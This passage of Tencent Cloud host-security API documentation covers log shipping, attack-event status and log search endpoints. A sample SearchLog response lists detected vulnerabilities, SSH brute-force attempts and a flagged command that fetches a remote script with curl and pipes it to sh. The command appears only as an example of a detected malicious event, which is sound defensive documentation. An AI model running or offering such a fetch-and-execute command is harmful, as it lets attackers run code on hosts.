"KafkaId": "aa",
"InsVersion": "1.1.1",
"AccessType": "1",
"KafkaEnvName": "CWPP test environment",
"BandWidth": "300",
"AccessAddr": "1.1.1.1",
"Pwd": "b",
"DiskSize": "400",
"SubnetId": "1.1.1.1",
"DeliverTypeDetails": [
{
"Status": "0",
"TopicId": "11",
"SecurityType": "1",
"LogType": [
"1"
],
"Switch": "0",
"StatusTime": "11",
"TopicName": "11",
"ErrInfo": "1"
}
],
"Az": "Guangzhou Zone 3",
"DeliverStatus": "1",
"HasPwd": "1"
}
```

Output Example

```
{
"Response": {
"RequestId": "fee0ea18-d002-4af0-bee3-7f6efd19e357"
}
}
```

5. Developer Resources

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SDK

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Command Line Interface

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6. Error Code

There is no error code related to the API business logic. For other error codes, please see Common Error Codes.

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ModifyLogKafkaDeliverType

Last updated：2024-12-06 15:40:09

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to modify the shipping configuration and switch of the specified log category.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ModifyLogKafkaDeliverType.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
SecurityType	Yes	Integer	Security module type. 1: intrusion detection; 2: vulnerability management; 3: baseline management; 4: advanced defense; 5: client security; 6: asset fingerprint.
LogType.N	Yes	Array of Integer	Log type of the security module
Switch	Yes	Integer	Shipping enabling status. 0: disabled; 1: enabled.
TopicId	Yes	String	kafka topic id

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TopicName	Yes	String	kafka topic name

3. Output Parameters

Parameter Name	Type	Description
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Modifying the Shipping Configuration and Switch of the Specified Log Category

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ModifyLogKafkaDeliverType
<Common request parameters>

{
"SecurityType": 1,
"LogType": [
1,
2
],
"Switch": 1,
"TopicId": "a",
"TopicName": "n"
}
```

Output Example

```
{
"Response": {
"RequestId": "c"
}
}
```

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5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

There is no error code related to the API business logic. For other error codes, please see Common Error Codes.

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ModifyLogKafkaState

Last updated：2024-12-06 15:40:09

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to modify the information of log shipping statuses.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ModifyLogKafkaState.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
KafkaEnvName	Yes	String	Instance name, e.g. CWPP test environment
KafkaId	Yes	String	Instance ID
AccessType	Yes	Integer	Access method: 1 - public network domain name access; 2 - support environment access
AccessAddr	Yes	String	Access address
Username	Yes	String	Username

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Zone	Yes	String	Region
Az	Yes	String	Availability zone
VpcId	Yes	String	Network
SubnetId	Yes	String	Subnet
DeliverStatus	Yes	Integer	Shipping status: 1 - healthy; 2 - alarm; 3 - abnormal
InsVersion	Yes	String	Kafka edition
BandWidth	Yes	Integer	Peak bandwidth
DiskSize	Yes	Integer	Disk capacity

3. Output Parameters

Parameter Name	Type	Description
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Modifying the Log Shipping Status Information

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ModifyLogKafkaState
<Common request parameters>

{
"KafkaEnvName": "Host security test environment",
"KafkaId": "ckafka-ce80kte5",
"AccessType": 1,
"AccessAddr": "127.0.0.1:80",
"Username": "12",
```

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```
"Zone": "Guangzhou",
"Az": "Guangzhou Zone 3",
"VpcId": "-",
"SubnetId": "-",
"DeliverStatus": 1,
"InsVersion": "0.10.2.1",
"BandWidth": 1200,
"DiskSize": 2500
}
```

Output Example

```
{
"Response": {
"RequestId": "29b37d86-f63d-43d1-b21a-640e82965198"
}
}
```

5. Developer Resources

SDK

TencentCloud API 3.0 integrates SDKs that support various programming languages to make it easier for you to call APIs.

- Tencent Cloud SDK 3.0 for Python
- Tencent Cloud SDK 3.0 for Java
- Tencent Cloud SDK 3.0 for PHP
- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

There is no error code related to the API business logic. For other error codes, please see Common Error Codes.

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ModifyEventAttackStatus

Last updated：2024-12-06 15:40:10

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to modify the status of network attack events.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ModifyEventAttackStatus.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Ids.N	No	Array of Integer	An array of event IDs that need to be modified, and batch operation is supported.
All	No	Boolean	Whether to update all, i.e. whether to operate on all events; this parameter is invalid when IDs are not left blank.
Status	No	Integer	0: Pending 1: Processed 2: Allowlisted 3: Ignored 4: Deleted
Filters.N	No	Array of Filters	Filter criteria • Type: String attack status: 0: attempted attack; 1: attack succeeded: required: no

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			• Status: String event processing status: 0: pending 1: processed; 2: allowlisted; 3: ignored; 4: deleted: required: no • SrcIP - String source IP - required: no • DstPort - String attack target port - required: no • MachineName - String host name - required: no • InstanceID - String host instance ID - required: no • Quuids - String host CVM UUID - required: no
ExcludeId.N	No	Array of Integer	Excluded IDs

3. Output Parameters

Parameter Name	Type	Description
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Modifying Network Attack Event Status

This example shows you how to modify network attack event status.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ModifyEventAttackStatus
<Common request parameters>

{
"Ids": [
1
],
"All": false,
"Status": 1
}
```

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Output Example

```
{
"Response": {
"RequestId": "4a45604e-1d2b-423c-9b45-31d1633dc8d2"
}
}
```

5. Developer Resources

SDK

TencentCloud API 3.0 integrates SDKs that support various programming languages to make it easier for you to call APIs.

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- Tencent Cloud SDK 3.0 for Java
- Tencent Cloud SDK 3.0 for PHP
- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
AuthFailure	CAM signature/authentication error.
AuthFailure.UnauthorizedOperation	Authentication for the current user failed.
InternalError	Internal error
InvalidParameter	Incorrect parameter.

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InvalidParameter.InvalidFormat	Incorrect parameter format.
OperationDenied	The operation was denied.
UnsupportedOperation	The operation is not supported.

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ModifyRiskEventsStatus

Last updated：2024-12-06 15:40:07

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to change the status of intrusion detection events, including virus scanning, abnormal log-ins, password cracking, high-risk commands, reverse shells, and local privilege escalations.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ModifyRiskEventsStatus.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Operate	Yes	Integer	Operations - 0: Mark as Handled, 1: Ignore, 2: Delete Record, 3: Trojan Isolation, 4: Isolated Trojan Resumption, 5: Trojan Trust, 6: Trojan Untrust, 7: Kill Exceptional Process.
RiskType	Yes	String	Operation event types, file scan: MALWARE, exceptional login: HOST_LOGIN, password brute attack: BRUTE_ATTACK, malicious request: MALICIOUS_REQUEST, high-risk command: BASH_EVENT, local privilege escalation: PRIVILEGE_EVENT, reverse shell: REVERSE_SHELL, exceptional process: PROCESS.

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Ids.N	No	Array of Integer	An array of event IDs that need to be modified, and batch operation is supported.
UpdateAll	No	Boolean	Whether to update all, i.e. whether to operate on all events; this parameter is invalid when IDs are not left blank.
ExcludeId.N	No	Array of Integer	Excluded event ID: When operating on all events, this ID needs to be excluded.
KillProcess	No	Boolean	When Operate is Trojan isolation, it indicates whether to kill the process, other operations are invalid
Ip.N	No	Array of String	When RiskType is cross-region log-in and IDs are left blank, you can modify the status of events from all source IPs.
Filters.N	No	Array of Filters	Filtering criteria. When RiskType is MALWARE. 1. When RiskType is MALWARE: • IpOrAlias - String - required: no - filter by host IP or alias • FilePath - String - required: no - filter by path • VirusName - String - required: no - filter by description • CreateBeginTime - String - required: no - filter by creation time - start time • CreateEndTime - String - required: no - filter by creation time - end time • Status - String - required: no - filter by status: 4 - pending; 5 -- trusted; 6 - isolated; 10 - isolation in progress; 11 - recovering from isolation When RiskType is PROCESS: Filter criteria • IpOrName - String - required: no - host IP or host name • VirusName - String - required: no - virus name • BeginTime - String - required: no - process startup time - begin • BeginTime - String - required: no - process startup time - end • Status - String - required: no - filter by status: 0 - pending; 1 - under detection; 2 - detected; 3 - exited; 4 - trusted

3. Output Parameters

Parameter Name	Type	Description
IsSync	Integer	Whether this operation is asynchronous. 0: operation completed; 1: asynchronous operation in progress and DescribeRiskBatchStatus needs to be called by front end to

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		check if the operation is completed. Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Example

This example shows you when updating the status of events in batches is required.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ModifyRiskEventsStatus
<Common request parameters>

{
"UpdateAll": true,
"RiskType": "xx",
"Ip": [
"xx"
],
"Ids": [
1
],
"KillProcess": true,
"ExcludeId": [
1
],
"Operate": 1
}
```

Output Example

```
{
"Response": {
"RequestId": "a066ece3-12ca-4611-b98e-1c296a14a491",
"IsSync": 1
```

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```
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
AuthFailure	CAM signature/authentication error.
AuthFailure.UnauthorizedOperation	Authentication for the current user failed.
FailedOperation.AgentOffline	The client is offline.
InternalError	Internal error
InternalError.MainDBFail	Failed to manipulate the data.
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.

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OperationDenied	The operation was denied.
UnauthorizedOperation	Unauthorized operation.
UnsupportedOperation	The operation is not supported.

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ModifyWarningHostConfig

Last updated：2024-12-06 15:40:06

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to modify the alarming machine scope settings.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ModifyWarningHostConfig.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Type	Yes	Integer	Alarm type
HostRange	Yes	Integer	Alarm Host Range Type. 0: All Hosts; 1: By Project; 2: By Tencent Cloud Tag; 3: By Host Security Tag; 4: Custom Hosts
ItemLabels.N	No	Array of String	List of Project or Tag Names, empty for custom hosts
Quuids.N	No	Array of String	Machine list

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ItemLabelIds.N	No	Array of String	List of Project or Tag IDs, empty for custom hosts
ExcludedQuuids.N	No	Array of String	

3. Output Parameters

Parameter Name	Type	Description
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Example 1

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ModifyWarningHostConfig
<Common request parameters>

{
"HostRange": "1",
"Type": "24",
"Quuids": [
"fba3d8b0-7a98-48a6-aaea-10e4aaed6adb"
],
"ItemLabels": [
"Development"
],
"ItemLabelIds": [
"1"
]
}
```

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Output Example

```
{
"Response": {
"RequestId": "9d1198eb-6d7b-45d8-ac8b-a12abd598f92"
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

There is no error code related to the API business logic. For other error codes, please see Common Error Codes.

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SearchLog

Last updated：2024-12-06 15:40:03

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query logs.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: SearchLog.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
StartTime	Yes	Integer	Start time for logs to be searched and analyzed, which is a Unix timestamp in milliseconds
EndTime	Yes	Integer	End time for logs to be searched and analyzed, which is a Unix timestamp in milliseconds
QueryString	Yes	String	Statement for search and analysis, with a maximum length of 12 KB
Count	No	Integer	Number of raw logs returned for a single query. Maximum value: 1000. The Context parameter can be used to obtain subsequent logs.
Sort	No	String	Order for returning the raw logs. Valid values: asc (ascending), desc

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			(descending). Default value: desc.
Context	No	String	Pass the Context value returned by the last API call to retrieve more subsequent logs. A total of up to 10,000 raw logs can be obtained, with a validity period of 1 hour.

3. Output Parameters

Parameter Name	Type	Description
Count	Integer	Number of raw logs matching the retrieval criteria
Context	String	Pass through the Context value returned by this API, which can access more logs later, with an expiration time of 1 hour.
ListOver	Boolean	Whether all logs meeting the retrieval criteria have been returned. If not, use the Context parameter to retrieve more logs.
Analysis	Boolean	Whether the returned data is the SQL analysis result
Data	Array of LogInfo	Raw logs matching the retrieval criteria
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Example

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: SearchLog
<Common request parameters>

{
"Sort": "desc",
"Count": "20",
```

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```
"QueryString": "",
"StartTime": "1656641065449",
"EndTime": "1656641965449"
}
```

Output Example


```
{
"Response": {
"Analysis": false,
"Context": "",
"Count": 17,
"Data": [
{
"Content": "{\"create_time\":\"2022-07-01 10:00:27 +0800 CST\",\"hostip\":\"10.0.0.6\",\"level\":\"Medium-risk\",\"modify_time\":\"2022-07-01 10:17:05 +0800 CST\",\"remark\":\"\",\"uuid\":\"13bb1e16-9a7a-434d-9686-4328f72c97d7\",\"is_emergency\":\"False\",\"reference\":\"https://www.phpmyadmin.net/security/PMASA-2016-20/\",\"path\":\"/var/www/html/phpmyadmin\",\"fix\":\"1. It is recommended to upgrade to the latest official version, and the official website address is: https://www.phpmyadmin.net\",\"cve_id\":\"CVE-2016-5704\",\"cls_event_type\":\"Web-CMS_vul\",\"appid\":\"1256299843\",\"name\":\"phpMyAdmin 4.6.x XSS vulnerability on form structure page.\",\"id\":\"771\",\"vul_category\":\"Web-CMS vulnerability\",\"descript\":\"Vulnerability file path: /var/www/html/phpmyadmin/templates/table/structure/display_table_stats.phtml\",\"event_status\":\"modify\",\"status\":\"Pending\"}",
"FileName": "",
"Source": "30.46.128.22",
"TimeStamp": 1656641946000
},
{
"Content": "{\"create_time\":\"2022-07-01 10:00:27 +0800 CST\",\"hostip\":\"10.0.0.6\",\"level\":\"High-risk\",\"modify_time\":\"2022-07-01 10:17:05 +0800 CST\",\"remark\":\"\",\"uuid\":\"13bb1e16-9a7a-434d-9686-4328f72c97d7\",\"is_emergency\":\"False\",\"reference\":\"https://httpd.apache.org/security/vulnerabilities_24.html\",\"path\":\"\",\"fix\":\"Upgrade to version 2.4.6-90 and above or 2.4.39 and above\",\"cve_id\":\"CVE-2019-0217\",\"cls_event_type\":\"application_vul\",\"appid\":\"1256299843\",\"name\":\"Apache HTTP Server mod_auth_digest race condition vulnerability\",\"id\":\"767\",\"vul_category\":\"Application vulnerability\",\"descript\":\"Apache HTTP Server has the mod_auth_digest module enabled, and the Apache HTTP Server version is: 2.4.37-47.module_el8.6.0+1111+ce6f4ceb.1.\",\"event_status\":\"modify\",\"status\":\"Pending\"}",
"FileName": "",
"Source": "30.46.128.22",
"TimeStamp": 1656641946000
},
```


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```
{
"Content": "{\"create_time\":\"2022-07-01 10:00:27 +0800 CST\",\"hostip\":\"10.0.
0.6\",\"level\":\"Medium-risk\",\"modify_time\":\"2022-07-01 10:17:05 +0800 CST
\",\"remark\":\"\",\"uuid\":\"13bb1e16-9a7a-434d-9686-4328f72c97d7\",\"is_emergen
cy\":\"True\",\"reference\":\"https://www.phpmyadmin.net/security/PMASA-2016-19/
\",\"path\":\"/var/www/html/phpmyadmin\",\"fix\":\"1. It is recommended to upgrad
e to the latest official version, and the official website address is: https://ww
w.phpmyadmin.net\",\"cve_id\":\"CVE-2016-5703\",\"cls_event_type\":\"emergency_vu
l\",\"appid\":\"1256299843\",\"name\":\"phpMyAdmin central_columns.lib.php SQL in
jection vulnerability\",\"id\":\"772\",\"vul_category\":\"Web-CMS vulnerability
\",\"descript\":\"Vulnerability file path: /var/www/html/phpmyadmin/libraries/cen
tral_columns.lib.php\",\"event_status\":\"modify\",\"status\":\"Pending\"}",
"FileName": "",
"Source": "30.46.128.22",
"TimeStamp": 1656641946000
},
{
"Content": "{\"create_time\":\"2022-07-01 10:00:27 +0800 CST\",\"hostip\":\"10.0.
0.6\",\"level\":\"High-risk\",\"modify_time\":\"2022-07-01 10:17:05 +0800 CST
\",\"remark\":\"\",\"uuid\":\"13bb1e16-9a7a-434d-9686-4328f72c97d7\",\"is_emergen
cy\":\"False\",\"reference\":\"https://www.seebug.org/vuldb/ssvid-92512\",\"path
\":\"/var/www/html/phpmyadmin\",\"fix\":\"1. Upgrade to the latest official versi
on, and the official website address is: https://www.phpmyadmin.net\",\"cve_id
\":\"CVE-2016-6633\",\"cls_event_type\":\"Web-CMS_vul\",\"appid\":\"1256299843
\",\"name\":\"phpMyAdmin dbase extension remote code execution vulnerability
\",\"id\":\"764\",\"vul_category\":\"Web-CMS vulnerability\",\"descript\":\"Vulne
rability file path: /var/www/html/phpmyadmin/libraries/zip_extension.lib.php
\",\"event_status\":\"modify\",\"status\":\"Pending\"}",
"FileName": "",
"Source": "30.46.128.22",
"TimeStamp": 1656641946000
},
{
"Content": "{\"create_time\":\"2022-07-01 10:00:27 +0800 CST\",\"hostip\":\"10.0.
0.6\",\"level\":\"Medium-risk\",\"modify_time\":\"2022-07-01 10:17:05 +0800 CST
\",\"remark\":\"\",\"uuid\":\"13bb1e16-9a7a-434d-9686-4328f72c97d7\",\"is_emergen
cy\":\"False\",\"reference\":\"https://httpd.apache.org/security/vulnerabilities_
24.html#CVE-2020-9490\",\"path\":\"\",\"fix\":\"Upgrade Apache HTTP Server to ver
sion 2.4.46\",\"cve_id\":\"CVE-2020-9490\",\"cls_event_type\":\"application_vul
\",\"appid\":\"1256299843\",\"name\":\"Apache HTTP Server http2_module denial-of-
service vulnerability\",\"id\":\"769\",\"vul_category\":\"Application vulnerabili
ty\",\"descript\":\"Apache HTTP Server has the mod_http2 module enabled, and the
Apache HTTP Server version is: 2.4.37-47.module_el8.6.0+1111+ce6f4ceb.1. \",\"eve
nt_status\":\"modify\",\"status\":\"Pending\"}",
"FileName": "",
"Source": "30.46.128.22",
"TimeStamp": 1656641946000
```


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```
},
{
"Content": "{\"create_time\":\"2022-07-01 10:00:27 +0800 CST\",\"hostip\":\"10.0.
0.6\",\"level\":\"High-risk\",\"modify_time\":\"2022-07-01 10:17:05 +0800 CST
\",\"remark\":\"\",\"uuid\":\"13bb1e16-9a7a-434d-9686-4328f72c97d7\",\"is_emergen
cy\":\"True\",\"reference\":\"https://www.seebug.org/vuldb/ssvid-92209\",\"path
\":\"/var/www/html/phpmyadmin\",\"fix\":\"1. It is recommended to upgrade to the
latest official version and avoid using weak passwords.\",\"cve_id\":\"CVE-2016-5
734\",\"cls_event_type\":\"emergency_vul\",\"appid\":\"1256299843\",\"name\":\"ph
pMyAdmin authorized user remote command execution vulnerability\",\"id\":\"768
\",\"vul_category\":\"Web-CMS vulnerability\",\"descript\":\"Vulnerability file p
ath: /var/www/html/phpmyadmin/libraries/controllers/table/TableSearchController.p
hp\",\"event_status\":\"modify\",\"status\":\"Pending\"}",
"FileName": "",
"Source": "30.46.128.22",
"TimeStamp": 1656641946000
},
{
"Content": "{\"create_time\":\"2022-07-01 10:00:27 +0800 CST\",\"hostip\":\"10.0.
0.6\",\"level\":\"High-risk\",\"modify_time\":\"2022-07-01 10:17:05 +0800 CST
\",\"remark\":\"\",\"uuid\":\"13bb1e16-9a7a-434d-9686-4328f72c97d7\",\"is_emergen
cy\":\"False\",\"reference\":\"https://www.phpmyadmin.net/security/PMASA-2016-40/
\",\"path\":\"/var/www/html/phpmyadmin\",\"fix\":\"1. It is recommended to upgrad
e to the latest official version, and the official website address is: https://ww
w.phpmyadmin.net\",\"cve_id\":\"CVE-2016-6617\",\"cls_event_type\":\"Web-CMS_vul
\",\"appid\":\"1256299843\",\"name\":\"phpMyAdmin 4.6.x SQL injection vulnerabili
ty of export feature\",\"id\":\"765\",\"vul_category\":\"Web-CMS vulnerability
\",\"descript\":\"Vulnerability file path: /var/www/html/phpmyadmin/libraries/dis
play_export.lib.php\",\"event_status\":\"modify\",\"status\":\"Pending\"}",
"FileName": "",
"Source": "30.46.128.22",
"TimeStamp": 1656641946000
},
{
"Content": "{\"create_time\":\"2022-07-01 10:00:27 +0800 CST\",\"hostip\":\"10.0.
0.6\",\"level\":\"High-risk\",\"modify_time\":\"2022-07-01 10:17:05 +0800 CST
\",\"remark\":\"\",\"uuid\":\"13bb1e16-9a7a-434d-9686-4328f72c97d7\",\"is_emergen
cy\":\"False\",\"reference\":\"https://www.phpmyadmin.net/security/PMASA-2016-25/
\",\"path\":\"/var/www/html/phpmyadmin\",\"fix\":\"1. It is recommended to upgrad
e to the latest official version, and the official website address is: https://ww
w.phpmyadmin.net\",\"cve_id\":\"CVE-2016-5732\",\"cls_event_type\":\"Web-CMS_vul
\",\"appid\":\"1256299843\",\"name\":\"phpMyAdmin 4.6.x XSS vulnerability\",\"id
\":\"770\",\"vul_category\":\"Web-CMS vulnerability\",\"descript\":\"Vulnerabilit
y file path: /var/www/html/phpmyadmin/templates/table/structure/display_partition
s.phtml\",\"event_status\":\"modify\",\"status\":\"Pending\"}",
"FileName": "",
"Source": "30.46.128.22",
```


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```
"TimeStamp": 1656641946000
},
{
"Content": "{\"create_time\":\"2022-07-01 10:00:27 +0800 CST\",\"hostip\":\"10.0.
0.6\",\"level\":\"Medium-risk\",\"modify_time\":\"2022-07-01 10:17:05 +0800 CST
\",\"remark\":\"\",\"uuid\":\"13bb1e16-9a7a-434d-9686-4328f72c97d7\",\"is_emergen
cy\":\"False\",\"reference\":\"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE
-2020-11984\",\"path\":\"\",\"fix\":\"Upgrade to version 2.4.44 and later.\",\"cv
e_id\":\"CVE-2020-11984\",\"cls_event_type\":\"application_vul\",\"appid\":\"1256
299843\",\"name\":\"Apache HTTP Server mod_proxy_uwsgi buffer overflow vulnerabil
ity\",\"id\":\"766\",\"vul_category\":\"Application vulnerability\",\"descript
\":\"Apache HTTP Server has the mod_proxy_uwsgi module enabled, and the version i
s: 2.4.37-47.module_el8.6.0+1111+ce6f4ceb.1.\",\"event_status\":\"modify\",\"stat
us\":\"Pending\"}",
"FileName": "",
"Source": "30.46.128.22",
"TimeStamp": 1656641946000
},
{
"Content": "{\"create_time\":\"2022-06-30 11:01:55 +0800 CST\",\"hostip\":\"172.1
6.48.133\",\"modify_time\":\"2022-07-01 10:15:23 +0800 CST\",\"count\":\"3380
\",\"uuid\":\"e1f081aa-7777-4fdf-a2f7-88f3faa3d302\",\"src_ip\":\"82.157.124.14
\",\"src_machine_name\":\"ssh\",\"event_type\":\"Brute force cracking failed
\",\"appid\":\"1256299843\",\"cls_event_type\":\"bruteattack\",\"dst_port\":\"22
\",\"location\":\"Beijing-Beijing city\",\"banned\":\"Unblocked (non-Pro Edition;
non-Ultimate Edition)\",\"id\":\"202226000001705\",\"event_status\":\"modify
\",\"status\":\"Pending\",\"username\":\"root\"}",
"FileName": "",
"Source": "30.46.128.22",
"TimeStamp": 1656641844000
},
{
"Content": "{\"create_time\":\"2022-06-30 11:01:55 +0800 CST\",\"hostip\":\"172.1
6.48.133\",\"modify_time\":\"2022-07-01 10:15:23 +0800 CST\",\"count\":\"3380
\",\"uuid\":\"e1f081aa-7777-4fdf-a2f7-88f3faa3d302\",\"src_ip\":\"82.157.124.14
\",\"src_machine_name\":\"ssh\",\"event_type\":\"Brute force cracking failed
\",\"appid\":\"1256299843\",\"cls_event_type\":\"bruteattack\",\"dst_port\":\"22
\",\"location\":\"Beijing-Beijing city\",\"banned\":\"Unblocked (non-Pro Edition;
non-Ultimate Edition)\",\"id\":\"202226000001705\",\"event_status\":\"modify
\",\"status\":\"Pending\",\"username\":\"root\"}",
"FileName": "",
"Source": "30.46.128.22",
"TimeStamp": 1656641824000
},
{
"Content": "{\"create_time\":\"2022-07-01 10:10:03 +0800 CST\",\"hostip\":\"172.1
6.0.49\",\"rule_name\":\"1003.Malicious commands - download & execute unknown pro
```


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grams\",\"modify_time\":\"0001-01-01 00:00:00 +0000 UTC\",\"rule_level\":\"High-risk\",\"uuid\":\"7168bc08-c1b8-11ea-9053-48fd8e5f474c\",\"platform\":\"Linux64\",\"appid\":\"1256299843\",\"cls_event_type\":\"bash\",\"exec_time\":\"2022-07-01 10:10:01 +0800 CST\",\"id\":\"3141559\",\"bash_cmd\":\"/bin/sh -c curl 43.129.65.101/1.sh|sh\",\"user\":\"0:0\",\"event_status\":\"create\",\"status\":\"Pending\"}",
"FileName": "",
"Source": "30.46.128.22",
"TimeStamp": 1656641520000
},
{
"Content": "{\"create_time\":\"2022-07-01 07:44:58 +0800 CST\",\"hostip\":\"172.16.48.79\",\"modify_time\":\"2022-07-01 10:09:23 +0800 CST\",\"count\":\"349\",\"uuid\":\"93137e79-ae2e-4677-95ac-23a5024607b1\",\"src_ip\":\"110.40.168.164\",\"src_machine_name\":\"ssh\",\"event_type\":\"\"Brute force cracking failed\",\"appid\":\"1256299843\",\"cls_event_type\":\"bruteattack\",\"dst_port\":\"22\",\"location\":\"Shanghai-Shanghai city\",\"banned\":\"Unblocked (non-Pro Edition; non-Ultimate Edition)\",\"id\":\"202226000001999\",\"event_status\":\"modify\",\"status\":\"Pending\",\"username\":\"root\"}",
"FileName": "",
"Source": "30.46.128.22",
"TimeStamp": 1656641484000
},
{
"Content": "{\"create_time\":\"2022-07-01 07:44:58 +0800 CST\",\"hostip\":\"172.16.48.79\",\"modify_time\":\"2022-07-01 10:09:23 +0800 CST\",\"count\":\"349\",\"uuid\":\"93137e79-ae2e-4677-95ac-23a5024607b1\",\"src_ip\":\"110.40.168.164\",\"src_machine_name\":\"ssh\",\"event_type\":\"\"Brute force cracking failed\",\"appid\":\"1256299843\",\"cls_event_type\":\"bruteattack\",\"dst_port\":\"22\",\"location\":\"Shanghai-Shanghai city\",\"banned\":\"Unblocked (non-Pro Edition; non-Ultimate Edition)\",\"id\":\"202226000001999\",\"event_status\":\"modify\",\"status\":\"Pending\",\"username\":\"root\"}",
"FileName": "",
"Source": "30.46.128.22",
"TimeStamp": 1656641464000
},
{
